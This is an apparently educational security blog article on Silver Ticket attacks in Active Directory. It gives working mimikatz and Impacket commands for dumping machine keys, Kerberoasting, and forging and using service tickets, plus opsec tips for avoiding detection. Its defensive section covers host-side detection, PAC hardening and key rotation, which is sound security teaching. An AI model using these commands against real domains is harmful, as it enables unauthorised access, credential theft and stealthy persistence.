Silver Ticket Attacks: Forging Service Tickets Offline

Silver Ticket Attacks: Forging Service Tickets Offline - article cover image Active Directory
2026.06.25
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

A Silver Ticket is a forged Kerberos service ticket (a TGS, the part of a Kerberos exchange that is presented directly to an application service). Where a Golden Ticket forges the Ticket-Granting Ticket that the whole domain trusts, a Silver Ticket forges the *service*-scoped ticket for one specific SPN. The critical property is that the ticket is encrypted with the long-term key of the account that runs the target service — a computer account for cifs/, host/, http/ and most SYSTEM-hosted services, or a dedicated service account for something like MSSQLSvc/. Whoever holds that key can mint a ticket for that service and put whatever they like inside its PAC.

The reason Silver Tickets matter operationally is stealth. The forgery is done entirely offline, and the resulting ticket is presented straight to the service — the Key Distribution Center (KDC) on the domain controller is never contacted. There is no AS-REQ, no TGS-REQ, and therefore no 4768/4769 event on any DC for the access. An attacker who has recovered a single machine account key can quietly authenticate to that machine’s file shares, WMI, PowerShell Remoting, or scheduled-task endpoint as Administrator for as long as that account’s password remains unchanged — often a very long time.

Attack Prerequisites

A Silver Ticket is a targeted, key-in-hand attack. Everything below must hold before it works:

  • The service account’s secret key — the RC4 key (which is simply the account’s NT hash) or, preferably, its AES128/AES256 key. For SYSTEM-hosted services this is the *computer account* key; for a named service it is that service account’s key.
  • The exact SPN and target host — you must know the service class (cifs, host, http, mssqlsvc, ldap, …) and the server’s FQDN, because the ticket’s sname is bound to that SPN and the service will reject a mismatch.
  • The domain SID — needed to build the PAC’s group SIDs so the ticket maps to a privileged identity in the domain.
  • Nothing on the DC — notably you do *not* need Domain Admin, a DC session, or any network path to a KDC at forge time. You only need to be able to reach the target service to use the ticket.

How It Works

In normal Kerberos, a client presents its TGT to the KDC, the KDC issues a TGS encrypted with the target service’s long-term key, and the client hands that TGS to the service. The service decrypts the ticket with its own key — the key only it and the KDC know — and *because it decrypts cleanly, it trusts the contents*. Inside the ticket is the PAC (Privilege Attribute Certificate), which carries the user’s RID and the list of group SIDs the service uses for authorization. The Silver Ticket attack simply removes the KDC from that picture: if you already hold the service key, you can build the encrypted ticket and its PAC yourself, with any user name and any groups, and the service cannot tell the difference.

The PAC contains two signatures — a *server* signature made with the service key and a *KDC* signature made with the krbtgt key. A Silver Ticket forger holds the service key, so the server signature is valid; they do not hold the krbtgt key, so the KDC signature is bogus. The reason the attack works anyway is that verifying the KDC signature requires the service to call back to a domain controller (the KERB_VERIFY_PAC / PAC-validation path), and historically most services skip it. In particular, a service running as Local System is exempted from PAC validation entirely — the OS treats a locally decryptable ticket as sufficient. That exemption is precisely what makes the forged, DC-less ticket acceptable to cifs, host, WMI, and WinRM.

Contrast this with a Golden Ticket. A Golden Ticket forges a TGT with the krbtgt key, so it is domain-wide and still requires the holder to go to the KDC for each service ticket (generating 4769 events). A Silver Ticket forges one TGS with one service key, so it is scoped to a single SPN on a single host but touches no DC at all. Golden = broad and noisier on the DC; Silver = narrow and nearly invisible to the DC.

Vulnerable Code / Configuration

The precondition is possession of a service or machine account key plus the SPN. The most common way to obtain a machine key is local administrator access on the target host, then dumping its secrets. Impacket’s secretsdump pulls the machine account hash straight out of the local registry hives:

# Local SYSTEM/registry secrets on the target host reveal the
# machine account's own NT hash and Kerberos keys.
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
# ...
# $MACHINE.ACC: aad3b435...:<SRV01_MACHINE_NT_HASH>
# $MACHINE.ACC:aes256-cts-hmac-sha1-96:<SRV01_MACHINE_AES256_KEY>
Bash

On its own a captured machine key is only as good as the password behind it. Windows rotates the computer account password every 30 days by default, which naturally expires a stolen key. The genuinely dangerous misconfiguration is disabling that rotation, which is common on imaged appliances and some hardened builds:

; HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters
DisablePasswordChange = 1     ; machine password never rotates
MaximumPasswordAge    = 0     ; (or a very large value) rotation off

; Result: a machine key captured once stays valid indefinitely,
; so a Silver Ticket forged from it works forever.
TEXT

For named service accounts the equivalent bug is a weak, Kerberoastable password. Any account with an SPN can have its RC4 service ticket requested and cracked offline; a cracked password yields the exact key needed to forge a Silver Ticket for that service — no local admin on the host required at all:

# Request the roastable ticket, crack it, and the recovered password
# derives the service key used for the Silver Ticket.
GetUserSPNs.py -request corp.local/lowpriv:Passw0rd -outputfile roast.txt
hashcat -m 13100 roast.txt wordlist.txt      # -> MSSQLSvc password
Bash

Walkthrough / Exploitation

Assume local admin on SRV01, so we have its machine account key, and we want SYSTEM-level file access over SMB. First obtain the domain SID — from any authenticated context with lookupsid:

lookupsid.py corp.local/lowpriv:Passw0rd@dc01.corp.local 0
# [*] Domain SID is: S-1-5-21-1111111111-2222222222-3333333333
Bash

Forge the CIFS ticket with mimikatz. /target is the server FQDN and /service is the service class, which together form the SPN cifs/srv01.corp.local; /rc4 supplies the machine account’s NT hash. /ptt injects the ticket straight into the current logon session:

kerberos::golden /user:Administrator /domain:corp.local \
  /sid:S-1-5-21-1111111111-2222222222-3333333333 \
  /target:srv01.corp.local /service:cifs \
  /rc4:<SRV01_MACHINE_NT_HASH> \
  /ptt
TEXT

Prefer AES when the key is available — a forged RC4 ticket in an AES-capable domain is an anomaly (see Detection). mimikatz takes /aes256:<key> in place of /rc4. With the ticket in memory, use it normally:

dir \\srv01.corp.local\C$
# Access is granted as Administrator; SRV01 never asked a DC.
TEXT

From Linux the same forgery is Impacket’s ticketer, which writes a ccache you point Kerberos-aware tools at. Note -spn is the full SPN here, and you can pass -aeskey instead of -nthash:

ticketer.py -nthash <SRV01_MACHINE_NT_HASH> \
  -domain-sid S-1-5-21-1111111111-2222222222-3333333333 \
  -domain corp.local \
  -spn cifs/srv01.corp.local Administrator

export KRB5CCNAME=Administrator.ccache
smbexec.py -k -no-pass corp.local/Administrator@srv01.corp.local
Bash

Note: The SPN class you forge dictates what you get. cifs gives file shares; host covers scheduled tasks and service control; http covers WinRM/PowerShell Remoting and WSMan; mssqlsvc gives DB logon; ldap against a *domain controller’s* machine account is special — it enables a DCSync, effectively converting a single Silver Ticket into full domain credential theft. Forge the SPN that matches the action you need.

Opsec: Match the environment’s encryption. If the domain issues AES, forge with the AES key, because an incoming cifs ticket that is RC4 (etype 0x17/23) stands out against AES-only traffic. Also keep ticket lifetimes realistic — tooling defaults (mimikatz historically defaulted to a 10-year life) are a classic tell. Because the DC logs nothing, your entire detectable footprint is on the target host, so blend the post-access behaviour there too.

Detection and Defense

Silver Tickets are hard to catch precisely because the DC is blind to them; detection shifts to the member server and to hygiene that shrinks the key-theft window:

  • Host-side logon anomalies — a Kerberos service logon (4624 logon type 3, followed by 4672 for privileged accounts) on the target with no corresponding 4769 on any DC is the signature pattern. Correlate member-server logons against DC ticket issuance.
  • Enforce PAC validation / patch level — keep DCs and members current. Microsoft’s Kerberos PAC-signature hardening (the November 2022 updates for CVE-2022-37967) strengthens PAC signing across the domain; apply it and follow the staged enforcement so forged PACs are more likely to be rejected.
  • Kill the key supply — do not disable machine password rotation (DisablePasswordChange), keep MaximumPasswordAge at its default, and use group Managed Service Accounts (gMSAs) so service passwords are long, random and auto-rotated, making the key uncrackable and short-lived.
  • Reduce Kerberoast exposure — audit accounts with SPNs, remove unused ones, and enforce long passphrases so no service key can be recovered offline in the first place.
  • Limit local admin — machine-key theft requires local SYSTEM on the host, so LAPS and tight local-admin membership directly cut off the most common path to the key.

Real-World Impact

Silver Tickets are a staple of the post-exploitation and persistence phase in real intrusions. They were popularised alongside Golden Tickets by Benjamin Delpy’s mimikatz and Sean Metcalf’s research, and the same capability is built into Impacket’s ticketer and Rubeus (which exposes a dedicated silver command). Because a single stolen machine or service key yields silent, DC-less access — and an ldap Silver Ticket against a DC’s own machine account can bootstrap a DCSync — they are routinely used by red teams and ransomware operators to maintain a foothold that leaves no trace in domain-controller logs.

Conclusion

A Silver Ticket trades scope for stealth: one service key buys forged, privileged access to one SPN with nothing logged on the domain controller. The whole attack rests on two facts — services trust any ticket they can decrypt, and (especially under Local System) they skip the DC callback that would expose the forged PAC. Defenders should assume any local privileged service access that has *no* matching Kerberos activity on a DC is suspicious, rotate and randomise service and machine keys aggressively (gMSAs, LAPS, default machine-password rotation), and stay current on Microsoft’s PAC-hardening updates.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL